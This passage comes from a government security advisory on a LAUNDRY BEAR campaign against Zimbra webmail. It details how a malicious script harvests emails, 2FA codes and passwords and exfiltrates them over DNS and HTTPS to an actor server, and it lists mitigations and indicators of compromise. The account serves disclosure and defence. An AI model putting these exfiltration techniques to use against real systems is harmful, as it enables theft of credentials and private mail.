<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
